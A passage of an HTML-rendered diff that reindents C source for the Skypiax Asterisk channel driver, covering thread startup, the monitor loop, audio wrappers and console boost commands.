</ins><span class="cx"> /* initialize the soundcard channels (input and output) used by this interface (a multichannel soundcard can be used by multiple interfaces), optionally starting the sound managing threads */
</span><del>-  res = skypiax_sound_init(tmp);
-  if (res == -1) {
-    ERRORA(&quot;Failed initializing sound device\n&quot;, SKYPIAX_TMP_LOG);
-    /* we failed, free the PVT */
-    free(tmp);
-    return NULL;
-  }
-  /*
-     res = pipe(tmp-&gt;SkypiaxHandles.fdesc);
-     if (res) {
-     ast_log(LOG_ERROR, &quot;Unable to create skype pipe\n&quot;);
-     if (option_debug &gt; 10) {
-     DEBUGA_PBX(&quot;EXITING FUNC\n&quot;, SKYPIAX_TMP_LOG);
-     }
-     free(tmp);
-     return NULL;
-     }
-     fcntl(tmp-&gt;SkypiaxHandles.fdesc[0], F_SETFL, O_NONBLOCK);
-     fcntl(tmp-&gt;SkypiaxHandles.fdesc[1], F_SETFL, O_NONBLOCK);
-   */
-  tmp-&gt;skype_thread = AST_PTHREADT_NULL;
</del><ins>+        res = skypiax_sound_init(tmp);
+        if (res == -1) {
+                ERRORA(&quot;Failed initializing sound device\n&quot;, SKYPIAX_TMP_LOG);
+                /* we failed, free the PVT */
+                free(tmp);
+                return NULL;
+        }
+        /*
+           res = pipe(tmp-&gt;SkypiaxHandles.fdesc);
+           if (res) {
+           ast_log(LOG_ERROR, &quot;Unable to create skype pipe\n&quot;);
+           if (option_debug &gt; 10) {
+           DEBUGA_PBX(&quot;EXITING FUNC\n&quot;, SKYPIAX_TMP_LOG);
+           }
+           free(tmp);
+           return NULL;
+           }
+           fcntl(tmp-&gt;SkypiaxHandles.fdesc[0], F_SETFL, O_NONBLOCK);
+           fcntl(tmp-&gt;SkypiaxHandles.fdesc[1], F_SETFL, O_NONBLOCK);
+         */
+        tmp-&gt;skype_thread = AST_PTHREADT_NULL;
</ins><span class="cx"> 
</span><del>-  if (tmp-&gt;skype) {
-    ast_log(LOG_DEBUG, &quot;TO BE started skype_thread=%lu STOP=%lu NULL=%lu\n&quot;,
-            (unsigned long) tmp-&gt;skype_thread, (unsigned long) AST_PTHREADT_STOP,
-            (unsigned long) AST_PTHREADT_NULL);
</del><ins>+        if (tmp-&gt;skype) {
+                ast_log(LOG_DEBUG, &quot;TO BE started skype_thread=%lu STOP=%lu NULL=%lu\n&quot;,
+                                (unsigned long) tmp-&gt;skype_thread, (unsigned long) AST_PTHREADT_STOP, (unsigned long) AST_PTHREADT_NULL);
</ins><span class="cx"> #ifdef __CYGWIN__
</span><del>-    if (ast_pthread_create(&amp;tmp-&gt;skype_thread, NULL, do_skypeapi_thread, tmp) &lt; 0) {
-      ast_log(LOG_ERROR, &quot;Unable to start skype_main thread.\n&quot;);
-      free(tmp);
-      return NULL;
-    }
</del><ins>+                if (ast_pthread_create(&amp;tmp-&gt;skype_thread, NULL, do_skypeapi_thread, tmp) &lt; 0) {
+                        ast_log(LOG_ERROR, &quot;Unable to start skype_main thread.\n&quot;);
+                        free(tmp);
+                        return NULL;
+                }
</ins><span class="cx"> #else /* __CYGWIN__ */
</span><span class="cx"> #ifdef WANT_SKYPE_X11
</span><del>-    ast_log(LOG_DEBUG, &quot;AsteriskHandlesfd: %d\n&quot;, tmp-&gt;SkypiaxHandles.fdesc[1]);
-    if (ast_pthread_create(&amp;tmp-&gt;skype_thread, NULL, do_skypeapi_thread, tmp) &lt; 0) {
-      ast_log(LOG_ERROR, &quot;Unable to start skype_main thread.\n&quot;);
-      free(tmp);
-      return NULL;
-    }
</del><ins>+                ast_log(LOG_DEBUG, &quot;AsteriskHandlesfd: %d\n&quot;, tmp-&gt;SkypiaxHandles.fdesc[1]);
+                if (ast_pthread_create(&amp;tmp-&gt;skype_thread, NULL, do_skypeapi_thread, tmp) &lt; 0) {
+                        ast_log(LOG_ERROR, &quot;Unable to start skype_main thread.\n&quot;);
+                        free(tmp);
+                        return NULL;
+                }
</ins><span class="cx"> #endif /* WANT_SKYPE_X11 */
</span><span class="cx"> #endif /* __CYGWIN__ */
</span><del>-    usleep(100000);             //0.1 sec
-    if (tmp-&gt;skype_thread == AST_PTHREADT_NULL) {
-      ast_log(LOG_ERROR, &quot;Unable to start skype_main thread.\n&quot;);
-      free(tmp);
-      return NULL;
-    }
-    ast_log(LOG_DEBUG, &quot;STARTED skype_thread=%lu STOP=%lu NULL=%lu\n&quot;,
-            (unsigned long) tmp-&gt;skype_thread, (unsigned long) AST_PTHREADT_STOP,
-            (unsigned long) AST_PTHREADT_NULL);
-  }
</del><ins>+                usleep(100000);                        //0.1 sec
+                if (tmp-&gt;skype_thread == AST_PTHREADT_NULL) {
+                        ast_log(LOG_ERROR, &quot;Unable to start skype_main thread.\n&quot;);
+                        free(tmp);
+                        return NULL;
+                }
+                ast_log(LOG_DEBUG, &quot;STARTED skype_thread=%lu STOP=%lu NULL=%lu\n&quot;,
+                                (unsigned long) tmp-&gt;skype_thread, (unsigned long) AST_PTHREADT_STOP, (unsigned long) AST_PTHREADT_NULL);
+        }
</ins><span class="cx"> #if 0
</span><del>-  if (tmp-&gt;skype) {
</del><ins>+        if (tmp-&gt;skype) {
</ins><span class="cx"> #if 0
</span><del>-    if (option_debug &gt; 1)
-      ast_log(LOG_DEBUG, &quot;TO BE started skype_thread=%lu STOP=%lu NULL=%lu\n&quot;,
-              (unsigned long) tmp-&gt;skype_thread, (unsigned long) AST_PTHREADT_STOP,
-              (unsigned long) AST_PTHREADT_NULL);
</del><ins>+                if (option_debug &gt; 1)
+                        ast_log(LOG_DEBUG, &quot;TO BE started skype_thread=%lu STOP=%lu NULL=%lu\n&quot;,
+                                        (unsigned long) tmp-&gt;skype_thread, (unsigned long) AST_PTHREADT_STOP, (unsigned long) AST_PTHREADT_NULL);
</ins><span class="cx"> #endif
</span><span class="cx"> #ifdef __CYGWIN__
</span><del>-    if (ast_pthread_create
-        (&amp;tmp-&gt;skype_thread, NULL, do_skypeapi_thread, &amp;tmp-&gt;SkypiaxHandles) &lt; 0) {
-      ast_log(LOG_ERROR, &quot;Unable to start skype_main thread.\n&quot;);
-      if (option_debug &gt; 10) {
-        DEBUGA_PBX(&quot;EXITING FUNC\n&quot;, SKYPIAX_TMP_LOG);
-      }
-      free(tmp);
-      return NULL;
-    }
</del><ins>+                if (ast_pthread_create(&amp;tmp-&gt;skype_thread, NULL, do_skypeapi_thread, &amp;tmp-&gt;SkypiaxHandles) &lt; 0) {
+                        ast_log(LOG_ERROR, &quot;Unable to start skype_main thread.\n&quot;);
+                        if (option_debug &gt; 10) {
+                                DEBUGA_PBX(&quot;EXITING FUNC\n&quot;, SKYPIAX_TMP_LOG);
+                        }
+                        free(tmp);
+                        return NULL;
+                }
</ins><span class="cx"> #else /* __CYGWIN__ */
</span><span class="cx"> #ifdef WANT_SKYPE_X11
</span><del>-    if (ast_pthread_create(&amp;tmp-&gt;signaling_thread, NULL, do_signaling_thread_fnc, tmp) &lt;
-        0) {
-      ast_log(LOG_ERROR, &quot;Unable to start skype_main thread.\n&quot;);
-      if (option_debug &gt; 10) {
-        DEBUGA_PBX(&quot;EXITING FUNC\n&quot;, SKYPIAX_TMP_LOG);
-      }
-      free(tmp);
-      return NULL;
-    }
</del><ins>+                if (ast_pthread_create(&amp;tmp-&gt;signaling_thread, NULL, do_signaling_thread_fnc, tmp) &lt; 0) {
+                        ast_log(LOG_ERROR, &quot;Unable to start skype_main thread.\n&quot;);
+                        if (option_debug &gt; 10) {
+                                DEBUGA_PBX(&quot;EXITING FUNC\n&quot;, SKYPIAX_TMP_LOG);
+                        }
+                        free(tmp);
+                        return NULL;
+                }
</ins><span class="cx"> #endif /* WANT_SKYPE_X11 */
</span><span class="cx"> #endif /* __CYGWIN__ */
</span><del>-    usleep(100000);             //0.1 sec
-    if (tmp-&gt;skype_thread == AST_PTHREADT_NULL) {
-      ast_log(LOG_ERROR, &quot;Unable to start skype_main thread.\n&quot;);
-      if (option_debug &gt; 10) {
-        DEBUGA_PBX(&quot;EXITING FUNC\n&quot;, SKYPIAX_TMP_LOG);
-      }
-      free(tmp);
-      return NULL;
-    }
-    if (option_debug &gt; 1)
-      ast_log(LOG_DEBUG, &quot;STARTED signaling_thread=%lu STOP=%lu NULL=%lu\n&quot;,
-              (unsigned long) tmp-&gt;signaling_thread, (unsigned long) AST_PTHREADT_STOP,
-              (unsigned long) AST_PTHREADT_NULL);
-  }
</del><ins>+                usleep(100000);                        //0.1 sec
+                if (tmp-&gt;skype_thread == AST_PTHREADT_NULL) {
+                        ast_log(LOG_ERROR, &quot;Unable to start skype_main thread.\n&quot;);
+                        if (option_debug &gt; 10) {
+                                DEBUGA_PBX(&quot;EXITING FUNC\n&quot;, SKYPIAX_TMP_LOG);
+                        }
+                        free(tmp);
+                        return NULL;
+                }
+                if (option_debug &gt; 1)
+                        ast_log(LOG_DEBUG, &quot;STARTED signaling_thread=%lu STOP=%lu NULL=%lu\n&quot;,
+                                        (unsigned long) tmp-&gt;signaling_thread, (unsigned long) AST_PTHREADT_STOP, (unsigned long) AST_PTHREADT_NULL);
+        }
</ins><span class="cx"> #endif
</span><span class="cx"> 
</span><del>-  /* return the newly created skypiax_pvt */
-  return tmp;
</del><ins>+        /* return the newly created skypiax_pvt */
+        return tmp;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*! \brief (Re)Start the module main monitor thread, watching for incoming calls on the interfaces */
</span><span class="cx"> int skypiax_restart_monitor(void)
</span><span class="cx"> {
</span><del>-  static struct skypiax_pvt *p = &amp;skypiax_log_struct;
</del><ins>+        static struct skypiax_pvt *p = &amp;skypiax_log_struct;
</ins><span class="cx"> 
</span><del>-  /* If we're supposed to be stopped -- stay stopped */
-  if (skypiax_monitor_thread == AST_PTHREADT_STOP) {
-    return 0;
-  }
-  LOKKA(&amp;skypiax_monlock);
-  /* Do not seems possible to me that this function can be called by the very same monitor thread, but let's be paranoid */
-  if (skypiax_monitor_thread == pthread_self()) {
-    UNLOCKA(&amp;skypiax_monlock);
-    ERRORA(&quot;Cannot kill myself\n&quot;, SKYPIAX_P_LOG);
-    return -1;
-  }
-  /* if the monitor thread exists */
-  if (skypiax_monitor_thread != AST_PTHREADT_NULL) {
-    /* Wake up the thread, it can be stuck waiting in a select or so */
-    pthread_kill(skypiax_monitor_thread, SIGURG);
-  } else {
-    /* the monitor thread does not exists, start a new monitor */
-    if (ast_pthread_create(&amp;skypiax_monitor_thread, NULL, skypiax_do_monitor, NULL) &lt; 0) {
-      UNLOCKA(&amp;skypiax_monlock);
-      ERRORA(&quot;Unable to start monitor thread.\n&quot;, SKYPIAX_P_LOG);
-      return -1;
-    }
-  }
-  UNLOCKA(&amp;skypiax_monlock);
-  return 0;
</del><ins>+        /* If we're supposed to be stopped -- stay stopped */
+        if (skypiax_monitor_thread == AST_PTHREADT_STOP) {
+                return 0;
+        }
+        LOKKA(&amp;skypiax_monlock);
+        /* Do not seems possible to me that this function can be called by the very same monitor thread, but let's be paranoid */
+        if (skypiax_monitor_thread == pthread_self()) {
+                UNLOCKA(&amp;skypiax_monlock);
+                ERRORA(&quot;Cannot kill myself\n&quot;, SKYPIAX_P_LOG);
+                return -1;
+        }
+        /* if the monitor thread exists */
+        if (skypiax_monitor_thread != AST_PTHREADT_NULL) {
+                /* Wake up the thread, it can be stuck waiting in a select or so */
+                pthread_kill(skypiax_monitor_thread, SIGURG);
+        } else {
+                /* the monitor thread does not exists, start a new monitor */
+                if (ast_pthread_create(&amp;skypiax_monitor_thread, NULL, skypiax_do_monitor, NULL) &lt; 0) {
+                        UNLOCKA(&amp;skypiax_monlock);
+                        ERRORA(&quot;Unable to start monitor thread.\n&quot;, SKYPIAX_P_LOG);
+                        return -1;
+                }
+        }
+        UNLOCKA(&amp;skypiax_monlock);
+        return 0;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*! \brief The skypiax monitoring thread 
</span><span class="lines">@@ -1408,117 +1369,116 @@
</span><span class="cx">  *         */
</span><span class="cx"> void *skypiax_do_monitor(void *data)
</span><span class="cx"> {
</span><del>-  fd_set rfds;
-  int res;
-  struct skypiax_pvt *p = NULL;
-  int max = -1;
-  struct timeval to;
-  time_t now_timestamp;
</del><ins>+        fd_set rfds;
+        int res;
+        struct skypiax_pvt *p = NULL;
+        int max = -1;
+        struct timeval to;
+        time_t now_timestamp;
</ins><span class="cx"> 
</span><del>-  if (pthread_setcanceltype(PTHREAD_CANCEL_DEFERRED, NULL)) {
-    ERRORA(&quot;Unable to set cancel type to deferred\n&quot;, SKYPIAX_P_LOG);
-    return NULL;
-  }
</del><ins>+        if (pthread_setcanceltype(PTHREAD_CANCEL_DEFERRED, NULL)) {
+                ERRORA(&quot;Unable to set cancel type to deferred\n&quot;, SKYPIAX_P_LOG);
+                return NULL;
+        }
</ins><span class="cx"> 
</span><del>-  for (;;) {
-    pthread_testcancel();
-    /* Don't let anybody kill us right away.  Nobody should lock the interface list
-       and wait for the monitor list, but the other way around is okay. */
-    PUSHA_UNLOCKA(&amp;skypiax_monlock);
-    MONITORLOKKA(&amp;skypiax_monlock);
-    /* Lock the interface list */
-    PUSHA_UNLOCKA(&amp;skypiax_iflock);
-    MONITORLOKKA(&amp;skypiax_iflock);
-    /* Build the stuff we're going to select on, that is the skypiax_serial_fd of every
-       skypiax_pvt that does not have an associated owner channel. In the case of FBUS2 3310
-       and in the case of PROTOCOL_NO_SERIAL we add the audio_fd as well, because there is not serial signaling of incoming calls */
-    FD_ZERO(&amp;rfds);
</del><ins>+        for (;;) {
+                pthread_testcancel();
+                /* Don't let anybody kill us right away.  Nobody should lock the interface list
+                   and wait for the monitor list, but the other way around is okay. */
+                PUSHA_UNLOCKA(&amp;skypiax_monlock);
+                MONITORLOKKA(&amp;skypiax_monlock);
+                /* Lock the interface list */
+                PUSHA_UNLOCKA(&amp;skypiax_iflock);
+                MONITORLOKKA(&amp;skypiax_iflock);
+                /* Build the stuff we're going to select on, that is the skypiax_serial_fd of every
+                   skypiax_pvt that does not have an associated owner channel. In the case of FBUS2 3310
+                   and in the case of PROTOCOL_NO_SERIAL we add the audio_fd as well, because there is not serial signaling of incoming calls */
+                FD_ZERO(&amp;rfds);
</ins><span class="cx"> 
</span><del>-    time(&amp;now_timestamp);
-    p = skypiax_iflist;
-    while (p) {
-      if (!p-&gt;owner) {
-        /* This interface needs to be watched, as it lacks an owner */
</del><ins>+                time(&amp;now_timestamp);
+                p = skypiax_iflist;
+                while (p) {
+                        if (!p-&gt;owner) {
+                                /* This interface needs to be watched, as it lacks an owner */
</ins><span class="cx"> 
</span><del>-        if (p-&gt;skype) {
-          if (FD_ISSET(p-&gt;SkypiaxHandles.fdesc[0], &amp;rfds))
-            ERRORA(&quot;Descriptor %d (SkypiaxHandles.fdesc[0]) appears twice ?\n&quot;,
-                   SKYPIAX_P_LOG, p-&gt;SkypiaxHandles.fdesc[0]);
</del><ins>+                                if (p-&gt;skype) {
+                                        if (FD_ISSET(p-&gt;SkypiaxHandles.fdesc[0], &amp;rfds))
+                                                ERRORA(&quot;Descriptor %d (SkypiaxHandles.fdesc[0]) appears twice ?\n&quot;, SKYPIAX_P_LOG, p-&gt;SkypiaxHandles.fdesc[0]);
</ins><span class="cx"> 
</span><del>-          if (p-&gt;SkypiaxHandles.fdesc[0] &gt; 0) {
-            FD_SET(p-&gt;SkypiaxHandles.fdesc[0], &amp;rfds);
-            if (p-&gt;SkypiaxHandles.fdesc[0] &gt; max)
-              max = p-&gt;SkypiaxHandles.fdesc[0];
</del><ins>+                                        if (p-&gt;SkypiaxHandles.fdesc[0] &gt; 0) {
+                                                FD_SET(p-&gt;SkypiaxHandles.fdesc[0], &amp;rfds);
+                                                if (p-&gt;SkypiaxHandles.fdesc[0] &gt; max)
+                                                        max = p-&gt;SkypiaxHandles.fdesc[0];
</ins><span class="cx"> 
</span><del>-          }
-        }
</del><ins>+                                        }
+                                }
</ins><span class="cx"> 
</span><del>-      }
-      /* next interface, please */
-      p = p-&gt;next;
-    }
-    /* Okay, now that we know what to do, release the interface lock */
-    MONITORUNLOCKA(&amp;skypiax_iflock);
-    POPPA_UNLOCKA(&amp;skypiax_iflock);
-    /* And from now on, we're okay to be killed, so release the monitor lock as well */
-    MONITORUNLOCKA(&amp;skypiax_monlock);
-    POPPA_UNLOCKA(&amp;skypiax_monlock);
</del><ins>+                        }
+                        /* next interface, please */
+                        p = p-&gt;next;
+                }
+                /* Okay, now that we know what to do, release the interface lock */
+                MONITORUNLOCKA(&amp;skypiax_iflock);
+                POPPA_UNLOCKA(&amp;skypiax_iflock);
+                /* And from now on, we're okay to be killed, so release the monitor lock as well */
+                MONITORUNLOCKA(&amp;skypiax_monlock);
+                POPPA_UNLOCKA(&amp;skypiax_monlock);
</ins><span class="cx"> 
</span><del>-    /* you want me to die? */
-    pthread_testcancel();
</del><ins>+                /* you want me to die? */
+                pthread_testcancel();
</ins><span class="cx"> 
</span><del>-    /* Wait for something to happen */
-    to.tv_sec = 0;
-    to.tv_usec = 500000;        /* we select with this timeout because under cygwin we avoid the signal usage, so there is no way to end the thread if it is stuck waiting for select */
-    res = ast_select(max + 1, &amp;rfds, NULL, NULL, &amp;to);
</del><ins>+                /* Wait for something to happen */
+                to.tv_sec = 0;
+                to.tv_usec = 500000;        /* we select with this timeout because under cygwin we avoid the signal usage, so there is no way to end the thread if it is stuck waiting for select */
+                res = ast_select(max + 1, &amp;rfds, NULL, NULL, &amp;to);
</ins><span class="cx"> 
</span><del>-    /* you want me to die? */
-    pthread_testcancel();
</del><ins>+                /* you want me to die? */
+                pthread_testcancel();
</ins><span class="cx"> 
</span><del>-    /* Okay, select has finished.  Let's see what happened.  */
</del><ins>+                /* Okay, select has finished.  Let's see what happened.  */
</ins><span class="cx"> 
</span><del>-    /* If there are errors...  */
-    if (res &lt; 0) {
-      if (errno == EINTR)       /* EINTR is just the select 
-                                   being interrupted by a SIGURG, or so */
-        continue;
-      else {
-        ERRORA(&quot;select returned %d: %s\n&quot;, SKYPIAX_P_LOG, res, strerror(errno));
-        return NULL;
-      }
-    }
</del><ins>+                /* If there are errors...  */
+                if (res &lt; 0) {
+                        if (errno == EINTR)        /* EINTR is just the select 
+                                                                   being interrupted by a SIGURG, or so */
+                                continue;
+                        else {
+                                ERRORA(&quot;select returned %d: %s\n&quot;, SKYPIAX_P_LOG, res, strerror(errno));
+                                return NULL;
+                        }
+                }
</ins><span class="cx"> 
</span><del>-    /* must not be killed while skypiax_iflist is locked */
-    PUSHA_UNLOCKA(&amp;skypiax_monlock);
-    MONITORLOKKA(&amp;skypiax_monlock);
-    /* Alright, lock the interface list again, and let's look and see what has
-       happened */
-    PUSHA_UNLOCKA(&amp;skypiax_iflock);
-    MONITORLOKKA(&amp;skypiax_iflock);
</del><ins>+                /* must not be killed while skypiax_iflist is locked */
+                PUSHA_UNLOCKA(&amp;skypiax_monlock);
+                MONITORLOKKA(&amp;skypiax_monlock);
+                /* Alright, lock the interface list again, and let's look and see what has
+                   happened */
+                PUSHA_UNLOCKA(&amp;skypiax_iflock);
+                MONITORLOKKA(&amp;skypiax_iflock);
</ins><span class="cx"> 
</span><del>-    p = skypiax_iflist;
-    for (; p; p = p-&gt;next) {
</del><ins>+                p = skypiax_iflist;
+                for (; p; p = p-&gt;next) {
</ins><span class="cx"> 
</span><del>-      if (p-&gt;skype) {
-        if (FD_ISSET(p-&gt;SkypiaxHandles.fdesc[0], &amp;rfds)) {
-          res = skypiax_signaling_read(p);
-          if (res == CALLFLOW_INCOMING_CALLID || res == CALLFLOW_INCOMING_RING) {
-            //ast_log(LOG_NOTICE, &quot;CALLFLOW_INCOMING_RING SKYPE\n&quot;);
-            DEBUGA_SKYPE(&quot;CALLFLOW_INCOMING_RING\n&quot;, SKYPIAX_P_LOG);
-            skypiax_new(p, SKYPIAX_STATE_RING, p-&gt;context /* p-&gt;context */ );
-          }
-        }
-      }
</del><ins>+                        if (p-&gt;skype) {
+                                if (FD_ISSET(p-&gt;SkypiaxHandles.fdesc[0], &amp;rfds)) {
+                                        res = skypiax_signaling_read(p);
+                                        if (res == CALLFLOW_INCOMING_CALLID || res == CALLFLOW_INCOMING_RING) {
+                                                //ast_log(LOG_NOTICE, &quot;CALLFLOW_INCOMING_RING SKYPE\n&quot;);
+                                                DEBUGA_SKYPE(&quot;CALLFLOW_INCOMING_RING\n&quot;, SKYPIAX_P_LOG);
+                                                skypiax_new(p, SKYPIAX_STATE_RING, p-&gt;context /* p-&gt;context */ );
+                                        }
+                                }
+                        }
</ins><span class="cx"> 
</span><del>-    }
-    MONITORUNLOCKA(&amp;skypiax_iflock);
-    POPPA_UNLOCKA(&amp;skypiax_iflock);
-    MONITORUNLOCKA(&amp;skypiax_monlock);
-    POPPA_UNLOCKA(&amp;skypiax_monlock);
-    pthread_testcancel();
-  }
</del><ins>+                }
+                MONITORUNLOCKA(&amp;skypiax_iflock);
+                POPPA_UNLOCKA(&amp;skypiax_iflock);
+                MONITORUNLOCKA(&amp;skypiax_monlock);
+                POPPA_UNLOCKA(&amp;skypiax_monlock);
+                pthread_testcancel();
+        }
</ins><span class="cx"> /* Never reached */
</span><del>-  return NULL;
</del><ins>+        return NULL;
</ins><span class="cx"> 
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -1533,7 +1493,7 @@
</span><span class="cx"> 
</span><span class="cx"> int skypiax_sound_init(struct skypiax_pvt *p)
</span><span class="cx"> {
</span><del>-  return skypiax_audio_init(p);
</del><ins>+        return skypiax_audio_init(p);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*!
</span><span class="lines">@@ -1548,29 +1508,29 @@
</span><span class="cx"> int skypiax_sound_shutdown(struct skypiax_pvt *p)
</span><span class="cx"> {
</span><span class="cx"> 
</span><del>-  //return skypiax_portaudio_shutdown(p);
</del><ins>+        //return skypiax_portaudio_shutdown(p);
</ins><span class="cx"> 
</span><del>-  return -1;
</del><ins>+        return -1;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*! \brief Read audio frames from interface */
</span><span class="cx"> struct ast_frame *skypiax_sound_read(struct skypiax_pvt *p)
</span><span class="cx"> {
</span><del>-  struct ast_frame *f = NULL;
-  int res;
</del><ins>+        struct ast_frame *f = NULL;
+        int res;
</ins><span class="cx"> 
</span><del>-  res = skypiax_audio_read(p);
-  f = &amp;p-&gt;read_frame;
-  return f;
</del><ins>+        res = skypiax_audio_read(p);
+        f = &amp;p-&gt;read_frame;
+        return f;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*! \brief Send audio frame to interface */
</span><span class="cx"> int skypiax_sound_write(struct skypiax_pvt *p, struct ast_frame *f)
</span><span class="cx"> {
</span><del>-  int ret = -1;
</del><ins>+        int ret = -1;
</ins><span class="cx"> 
</span><del>-  ret = skypiax_audio_write(p, f);
-  return ret;
</del><ins>+        ret = skypiax_audio_write(p, f);
+        return ret;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*!
</span><span class="lines">@@ -1579,32 +1539,32 @@
</span><span class="cx">  */
</span><span class="cx"> void *skypiax_do_controldev_thread(void *data)
</span><span class="cx"> {
</span><del>-  struct skypiax_pvt *p = data;
-  int res;
</del><ins>+        struct skypiax_pvt *p = data;
+        int res;
</ins><span class="cx"> 
</span><del>-  DEBUGA_SERIAL(&quot;In skypiax_do_controldev_thread: started, p=%p\n&quot;, SKYPIAX_P_LOG, p);
</del><ins>+        DEBUGA_SERIAL(&quot;In skypiax_do_controldev_thread: started, p=%p\n&quot;, SKYPIAX_P_LOG, p);
</ins><span class="cx"> 
</span><del>-  if (pthread_setcanceltype(PTHREAD_CANCEL_DEFERRED, NULL)) {
-    ERRORA(&quot;Unable to set cancel type to deferred\n&quot;, SKYPIAX_P_LOG);
-    return NULL;
-  }
</del><ins>+        if (pthread_setcanceltype(PTHREAD_CANCEL_DEFERRED, NULL)) {
+                ERRORA(&quot;Unable to set cancel type to deferred\n&quot;, SKYPIAX_P_LOG);
+                return NULL;
+        }
</ins><span class="cx"> 
</span><del>-  while (1) {
-    usleep(1000);
-    pthread_testcancel();
-    if (p-&gt;skype) {
-      res = skypiax_signaling_read(p);
-      if (res == CALLFLOW_INCOMING_HANGUP) {
-        DEBUGA_SKYPE(&quot;skype call ended\n&quot;, SKYPIAX_P_LOG);
-        if (p-&gt;owner) {
-          pthread_testcancel();
-          ast_queue_control(p-&gt;owner, AST_CONTROL_HANGUP);
-        }
-      }
-    }
-  }
</del><ins>+        while (1) {
+                usleep(1000);
+                pthread_testcancel();
+                if (p-&gt;skype) {
+                        res = skypiax_signaling_read(p);
+                        if (res == CALLFLOW_INCOMING_HANGUP) {
+                                DEBUGA_SKYPE(&quot;skype call ended\n&quot;, SKYPIAX_P_LOG);
+                                if (p-&gt;owner) {
+                                        pthread_testcancel();
+                                        ast_queue_control(p-&gt;owner, AST_CONTROL_HANGUP);
+                                }
+                        }
+                }
+        }
</ins><span class="cx"> 
</span><del>-  return NULL;
</del><ins>+        return NULL;
</ins><span class="cx"> 
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -1618,23 +1578,23 @@
</span><span class="cx"> void skypiax_store_boost(const char *s, double *boost)
</span><span class="cx"> #else
</span><span class="cx"> void skypiax_store_boost(char *s, double *boost)
</span><del>-#endif                          /* ASTERISK_VERSION_1_6 */
</del><ins>+#endif                                                        /* ASTERISK_VERSION_1_6 */
</ins><span class="cx"> {
</span><del>-  struct skypiax_pvt *p = NULL;
</del><ins>+        struct skypiax_pvt *p = NULL;
</ins><span class="cx"> 
</span><del>-  if (sscanf(s, &quot;%lf&quot;, boost) != 1) {
-    ERRORA(&quot;invalid boost &lt;%s&gt;\n&quot;, SKYPIAX_P_LOG, s);
-    return;
-  }
-  if (*boost &lt; -BOOST_MAX) {
-    WARNINGA(&quot;boost %s too small, using %d\n&quot;, SKYPIAX_P_LOG, s, -BOOST_MAX);
-    *boost = -BOOST_MAX;
-  } else if (*boost &gt; BOOST_MAX) {
-    WARNINGA(&quot;boost %s too large, using %d\n&quot;, SKYPIAX_P_LOG, s, BOOST_MAX);
-    *boost = BOOST_MAX;
-  }
-  *boost = exp(log(10) * *boost / 20) * BOOST_SCALE;
-  DEBUGA_SOUND(&quot;setting boost %s to %f\n&quot;, SKYPIAX_P_LOG, s, *boost);
</del><ins>+        if (sscanf(s, &quot;%lf&quot;, boost) != 1) {
+                ERRORA(&quot;invalid boost &lt;%s&gt;\n&quot;, SKYPIAX_P_LOG, s);
+                return;
+        }
+        if (*boost &lt; -BOOST_MAX) {
+                WARNINGA(&quot;boost %s too small, using %d\n&quot;, SKYPIAX_P_LOG, s, -BOOST_MAX);
+                *boost = -BOOST_MAX;
+        } else if (*boost &gt; BOOST_MAX) {
+                WARNINGA(&quot;boost %s too large, using %d\n&quot;, SKYPIAX_P_LOG, s, BOOST_MAX);
+                *boost = BOOST_MAX;
+        }
+        *boost = exp(log(10) * *boost / 20) * BOOST_SCALE;
+        DEBUGA_SOUND(&quot;setting boost %s to %f\n&quot;, SKYPIAX_P_LOG, s, *boost);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*
</span><span class="lines">@@ -1642,735 +1602,705 @@
</span><span class="cx">  */
</span><span class="cx"> struct skypiax_pvt *skypiax_console_find_desc(char *dev)
</span><span class="cx"> {
</span><del>-  struct skypiax_pvt *p = NULL;
</del><ins>+        struct skypiax_pvt *p = NULL;
</ins><span class="cx"> 
</span><del>-  for (p = skypiax_iflist; p &amp;&amp; strcmp(p-&gt;name, dev) != 0; p = p-&gt;next);
-  if (p == NULL)
-    WARNINGA(&quot;could not find &lt;%s&gt;\n&quot;, SKYPIAX_P_LOG, dev);
</del><ins>+        for (p = skypiax_iflist; p &amp;&amp; strcmp(p-&gt;name, dev) != 0; p = p-&gt;next);
+        if (p == NULL)
+                WARNINGA(&quot;could not find &lt;%s&gt;\n&quot;, SKYPIAX_P_LOG, dev);
</ins><span class="cx"> 
</span><del>-  return p;
</del><ins>+        return p;
</ins><span class="cx"> }
</span><span class="cx"> int skypiax_console_playback_boost(int fd, int argc, char *argv[])
</span><span class="cx"> {
</span><del>-  struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
</del><ins>+        struct skypiax_pvt *p = skypiax_console_find_desc(skypiax_console_active);
</ins><span class="cx"> 
</span><del>-  if (argc &gt; 2) {
-    return RESULT_SHOWUSAGE;
-  }
-  if (!p) {
-    ast_cli(fd,
-            &quot;No \&quot;current\&quot; skypiax_console for playback_boost, please enter 'help skypiax_console'\n&quot;);
-    return RESULT_SUCCESS;
-  }
</del><ins>+        if (argc &gt; 2) {
+                return RESULT_SHOWUSAGE;
+        }
+        if (!p) {
+                ast_cli(fd, &quot;No \&quot;current\&quot; skypiax_console for playback_boost, please enter 'help skypiax_console'\n&quot;);
+                return RESULT_SUCCESS;
+        }
</ins><span class="cx"> 
</span><del>-  if (argc == 1) {
-    ast_cli(fd, &quot;playback_boost on the active skypiax_console, that is [%s], is: %5.1f\n&quot;,
-            skypiax_console_active,
-            20 * log10(((double) p-&gt;playback_boost / (double) BOOST_SCALE)));
-  } else if (argc == 2) {
-    skypiax_store_boost(argv[1], &amp;p-&gt;playback_boost);
</del><ins>+        if (argc == 1) {
+                ast_cli(fd, &quot;playback_boost on the active skypiax_console, that is [%s], is: %5.1f\n&quot;,
+                                skypiax_console_active, 20 * log10(((double) p-&gt;playback_boost / (double) BOOST_SCALE)));
+        } else if (argc == 2) {
+                skypiax_store_boost(argv[1], &amp;p-&gt;playback_boost);
</ins><span class="cx"> 
</span><del>-    ast_cli(fd,
-            &quot;playback_boost on the active skypiax_console, that is [%s], is now: %5.1f\n&quot;,
-            skypiax_console_active,
